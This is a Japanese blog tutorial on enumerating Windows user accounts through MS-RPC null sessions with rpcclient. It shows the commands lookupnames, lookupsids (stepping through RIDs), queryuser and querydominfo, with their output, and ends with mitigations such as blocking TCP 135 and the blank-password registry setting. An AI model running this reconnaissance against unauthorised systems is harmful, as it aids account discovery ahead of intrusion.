MS-RPCを利用してWindowsアカウント情報を列挙

/ Hack / Comment[0]
Windowsはシステムをインストールする際にSIDというIDを発行する。その後に作られるアカウントにもIDを発行するが、
このIDは「コンピュータのSID+RID(UNIXで言うUID)」という形になっている。
アカウントを作るごとにRIDは連番で作成されるので、RIDを+1カウントしていけばユーザの列挙が出来る。

Sambaスイートに含まれるrpcclientを使ってMS-RPCに接続
rpcclient -I ターゲットIP [-U パスワード無しのアカウント] NetBIOS名
$ rpcclient -I 10.10.0.1 pocketpc

まず最初にlookupnamesコマンドで必ず存在するアカウントadministrator,owner,guestなどにSID値を問い合わせる
rpcclient $> lookupnames owner
owner S-1-5-21-1008824266-3046086466-556360478-1003 (User: 1)


lookupsidsコマンドのオプションにSID値をコピペ、RID値を1001,1002,1003と+1しながらユーザアカウントを列挙
rpcclient $> lookupsids S-1-5-21-1008824266-3046086466-556360478-1001
S-1-5-21-1008824266-3046086466-556360478-1001 POCKETPC\HelpServicesGroup (4)
rpcclient $> lookupsids S-1-5-21-1008824266-3046086466-556360478-1002
S-1-5-21-1008824266-3046086466-556360478-1002 POCKETPC\SUPPORT_388945a0 (1)
rpcclient $> lookupsids S-1-5-21-1008824266-3046086466-556360478-1003
S-1-5-21-1008824266-3046086466-556360478-1003 POCKETPC\Owner (1)
rpcclient $> lookupsids S-1-5-21-1008824266-3046086466-556360478-1004
S-1-5-21-1008824266-3046086466-556360478-1004 POCKETPC\ASPNET (1)
rpcclient $> lookupsids S-1-5-21-1008824266-3046086466-556360478-1005
S-1-5-21-1008824266-3046086466-556360478-1005 POCKETPC\HelpAssistant (1)
rpcclient $> lookupsids S-1-5-21-1008824266-3046086466-556360478-1006
S-1-5-21-1008824266-3046086466-556360478-1006 *unknown*\*unknown* (8)
rpcclient $> lookupsids S-1-5-21-1008824266-3046086466-556360478-1007
S-1-5-21-1008824266-3046086466-556360478-1007 POCKETPC\test (1)
rpcclient $> lookupsids S-1-5-21-1008824266-3046086466-556360478-1008
S-1-5-21-1008824266-3046086466-556360478-1008 POCKETPC\Reiji (1)

queryuserコマンドでユーザー情報を取得
rpcclient $> queryuser owner
User Name : Owner
Full Name : Phantom1
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : 月, 14 11月 2011 15:00:28 JST
Logoff Time : 木, 01 1月 1970 09:00:00 JST
Kickoff Time : 木, 01 1月 1970 09:00:00 JST
Password last set Time : 月, 14 11月 2011 13:52:21 JST
Password can change Time : 月, 14 11月 2011 13:52:21 JST
Password must change Time: 木, 14 9月 30828 11:48:05 JST
unknown_2[0..31]...
user_rid : 0x3eb
group_rid: 0x201
acb_info : 0x00000214
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000206
padding1[0..7]...
logon_hrs[0..21]...


querydominfoコマンドでドメイン情報を取得
rpcclient $> querydominfo 
Domain: POCKETPC
Server:
Comment:
Total Users: 6
Total Groups: 1
Total Aliases: 1
Sequence No: 55
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1


Windows XP Homeでは共有リソースにパスワードを掛ける機能が無いからなのか、匿名ログインで列挙出来た。
この列挙を防ぐにはmsrpcを止めるかファイアウォールで135/TCPをフィルタリングする必要がある。

Windows XP Proではデフォルトではブランクパスワードを許可しているので匿名ログインが可能。
しかも共有リソースのモードがデフォルトで「簡易(推奨)」になっている。簡易モードではHomeと同じく
共有リソースにパスワードを掛けることが出来ないモード。それが推奨されてるってのは問題。

Windows7では「HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\LimitBlankPasswordUse」というレジストリが有り、
デフォルトでブランクパスワードが無効になっているので、レジストリを弄るかログインパスワードが漏れることが無い限り列挙は出来ない。
関連記事

コメント

:
:
:
:
:
管理人のみ表示を許可